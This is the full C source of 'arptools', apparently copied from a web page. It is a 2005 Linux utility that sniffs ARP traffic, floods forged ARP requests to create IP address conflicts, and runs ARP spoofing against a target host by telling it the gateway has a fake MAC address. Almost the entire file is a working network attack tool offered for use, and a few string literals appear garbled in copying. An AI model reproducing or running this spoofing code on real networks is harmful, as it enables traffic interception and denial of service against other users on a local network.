| arp protocol tool that can be used to sniff arp req,generate ip address confliction,conducting arp spoof! /* * arptools : address resolusion protocol toolkit * author : rootclown <rootclown@163.com> * creation : 2005/7/27 * compile : gcc arptool.c -o arptool -lpcap */ #include<unistd.h> #include<sys/types.h> #include<sys/socket.h> #include<sys/ioctl.h> #include<netinet/in.h> #include<arpa/inet.h> #include<asm/types.h> #include<linux/if_packet.h> #include<linux/if_ether.h> #include<linux/if_arp.h> #include<signal.h> #include<pcap.h> #include<stdio.h>
/* * arp data following the arp header */
struct arpdata { u_char smac[6]; u_char sip[4]; u_char dmac[6]; u_char dip[4]; };
void sniff_arp(void); void prepare_arg(void); void get_packet_sock(); void do_arp(); void get_reply(); void sig_alrm(int); void usage(); void err_quit(); void handler(u_char *, const struct pcap_pkthdr *,const u_char *); void analyze_reply(int,int *);
int aflag=0; /* act as an arp protocol analyzer */ int cflag=0; /* generate ip address collision */ int qflag=0; /* make arp request */ int sflag=0; /* arp spoof */ int sflag_save=0;
char *target; int sock; struct sockaddr_ll sll; u_char my_mac[6],target_mac[6]; struct in_addr myip;
struct ethhdr *eth; struct arphdr *arp; struct arpdata *ad; char buf[1024];
main(int argc,char *argv[]) { extern char *optarg; extern int opterr; int c; if(argc!=2&&argc!=3) { usage(); exit(0); } opterr=0; while((c=getopt(argc,argv,"ac:q:s:"))!=EOF) { switch(c) { case 'a': aflag=1; break; case 'c': cflag=1; target=optarg; break; case 'q': qflag=1; target=optarg; break; case 's': sflag=1; qflag=1; target=optarg; break; default: usage(); exit(0); } } if(aflag) sniff_arp(); else { memset(buf,0,1024); eth=(struct ethhdr *)buf; arp=(struct arphdr *)(eth+1); ad=(struct arpdata *)(arp+1); } /* use packet socket to construct the ethernet frame*/ get_packet_sock(); /* fill all field of the eth frame necessary*/ prepare_arg(); /* send out the eth frame*/ do_arp(); /* we pause there wait for the timer,set in do_arp()*/ if(cflag) { struct sigaction sa;
spoof: memset(&sa,0,sizeof(struct sigaction)); sa.sa_handler=sig_alrm; sigaction(SIGALRM,&sa,NULL); while(1) pause(); } else { u_char *p; get_reply(); // p=target_mac; // printf("%X:%X:%X:%X:%X:%X\n",p[0],p[1],p[2],p[3],p[4],p[5]);
if(sflag_save) { cflag=0; qflag=0; sflag=2; /* prepare arg again for spoof*/ prepare_arg(); do_arp(); goto spoof; } p=target_mac; printf("%X:%X:%X:%X:%X:%X\n",p[0],p[1],p[2],p[3],p[4],p[5]); } }
/* * the ethernet frame constructor */ void prepare_arg(void) { u_char *bcast="\xff\xff\xff\xff\xff\xff"; u_char *fake_mac="\xaa\xbb\xcc\xdd\xee\xff";
if(sflag==1) { sflag_save=1; sflag=0; } else if(sflag==2) { char *ip; char *p; char tail[]="1"; struct in_addr gateway; memcpy(eth->h_dest,target_mac,6); memcpy(eth->h_source,fake_mac,6); memcpy(ad->smac,fake_mac,6); if(!(ip=inet_ntoa(myip))) err_quit("inet_ntoa"); if(!(p=strrchr(ip,'.'))) err_quit("strrchr bad ip addr"); *++p=''; /*assume that if your ip is 192.168.11.22,the gateway's ip address is 192.168.11.1*/ strcat(ip,tail); if(!inet_aton(ip,&gateway)) err_quit("inet_aton"); memcpy(ad->sip,&gateway,4); memcpy(ad->dmac,target_mac,6); if(!inet_aton(target,&gateway)) err_quit("inet_aton"); memcpy(ad->dip,&gateway,4); arp->ar_op=htons(ARPOP_REPLY); } eth->h_proto=htons(ETH_P_ARP); arp->ar_hrd=htons(ARPHRD_ETHER); arp->ar_pro=htons(ETH_P_IP); arp->ar_hln=6; arp->ar_pln=4; if(cflag) { struct in_addr ip; memcpy(eth->h_dest,bcast,6); memcpy(eth->h_source,fake_mac,6); arp->ar_op=htons(ARPOP_REQUEST);
memcpy(ad->smac,fake_mac,6); memcpy(ad->dmac,bcast,6); printf("target=%s\n",target); if(!inet_aton(target,&ip)) err_quit("inet_aton"); memcpy(ad->sip,&ip,4); memcpy(ad->dip,&ip,4); } else if(qflag) { int s; struct ifreq ifr; char *dev="eth0"; struct in_addr addr; u_char *p; memcpy(ifr.ifr_name,dev,4); ifr.ifr_name[4]=''; if((s=socket(AF_INET,SOCK_DGRAM,0))<0) err_quit("socket"); if(ioctl(s,SIOCGIFADDR,&ifr)<0) err_quit("ioctl"); memcpy(&myip,&((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr,4); memcpy(ad->sip,&myip,4); if(!inet_aton(target,&addr)) err_quit("inet_aton"); memcpy(ad->dip,&addr,4); memcpy(eth->h_dest,bcast,6); memcpy(eth->h_source,my_mac,6); p=my_mac; memcpy(ad->smac,my_mac,6); arp->ar_op=htons(ARPOP_REQUEST); close(s); } } /* * use pcap to capture * */ void sniff_arp(void) { pcap_t *cap; __u32 net,mask; struct bpf_program fcode; char *dev="eth0"; char *filter="arp"; char errbuf[PCAP_ERRBUF_SIZE]; if(!(cap=pcap_open_live(dev,2048,1,500,errbuf))) err_quit("pcap_open_live"); if(pcap_lookupnet(dev,&net,&mask,errbuf)<0) err_quit("pcap_lookupnet"); if(pcap_compile(cap,&fcode,filter,0,mask)<0) err_quit("pcap_compile"); if(pcap_setfilter(cap,&fcode)<0) err_quit("pcap_setfilter"); pcap_loop(cap,-1,handler,NULL); } /* * our root use switch to connect to the outside world,so I can not get * anything except the one send to broadcast address,so do net care arp * reply */ void handler(u_char *user, const struct pcap_pkthdr *hdr,const u_char *pack) { struct ethhdr *eth; struct arphdr *arp; struct arpdata *ad; struct in_addr sip,dip; eth=(struct ethhdr *)pack; arp=(struct arphdr *)(eth+1); ad=(struct arpdata *)(arp+1);
memcpy(&sip,ad->sip,4); memcpy(&dip,ad->dip,4);
printf("arp who has "); printf("%s ",inet_ntoa(dip)); printf("tell %s\n",inet_ntoa(sip)); }
void do_arp(void) { int len; len=sizeof(struct ethhdr )+sizeof(struct arphdr )+sizeof(struct arpdata)+18; if((sendto(sock,buf,len,0,(struct sockaddr *)&sll, sizeof(struct sockaddr_ll)))!=len) err_quit("sendto"); /* the timer is set here*/ if(cflag||sflag) alarm(1); } /* * get the arp reply,please note the bind() system call */ void get_reply(void) { int len; int done=0; len=sizeof(struct sockaddr_ll); sll.sll_protocol=htons(ETH_P_ARP); if(bind(sock,(struct sockaddr *)&sll,sizeof(struct sockaddr_ll))) err_quit("bind"); while(!done) { memset(buf,0,1024); if((len=recvfrom(sock,buf,1024,0,(struct sockaddr *)&sll,&len))<0) err_quit("recvfrom"); analyze_reply(len,&done); } } void analyze_reply(int len,int *done) { struct ethhdr *ep; struct arphdr *ap; struct arpdata *adp; struct in_addr sip,dip; ep=(struct ethhdr *)buf; if(memcmp(ep->h_dest,my_mac,6)) return; if(ep->h_proto!=htons(ETH_P_ARP)) return; ap=(struct arphdr *)(ep+1); if(ap->ar_op!=htons(ARPOP_REPLY)) return; adp=(struct arpdata *)(ap+1); if(memcmp(adp->dip,&myip,4)) return; /*boring!!!*/ memcpy(target_mac,adp->smac,6); *done=1; } /* * PF_PACKET !! * please see man packet if you do not have any idea about this code */ void get_packet_sock(void) { struct ifreq ifr; char *dev="eth0"; u_char *p; if((sock=socket(PF_PACKET,SOCK_RAW,0))<0) err_quit("socket"); memset(&sll,0,sizeof(struct sockaddr_ll)); memset(&ifr,0,sizeof(struct ifreq)); strncpy(ifr.ifr_name,dev,4); ifr.ifr_name[4]=''; if(ioctl(sock,SIOCGIFINDEX,&ifr)<0) err_quit("ioctl index"); sll.sll_ifindex=ifr.ifr_ifindex; if(ioctl(sock,SIOCGIFHWADDR,&ifr)<0) err_quit("ioctl hwaddr"); memcpy(sll.sll_addr,ifr.ifr_hwaddr.sa_data,6); memcpy(my_mac,sll.sll_addr,6); p=sll.sll_addr; sll.sll_family=AF_PACKET; sll.sll_halen=6; } void sig_alrm(int signo) { do_arp(); } void usage(void) { printf("\n\tarptools:misc function using arp protocol\n \ usage:arptools [a:c:q:s] target-ip\n\ -a : arp protocol analyzer\n\ -c : generate ip address collision\n\ -q : send arp request\n\ -s : arp spoof\n"); } void err_quit(char *p) { perror(p); exit(1); } |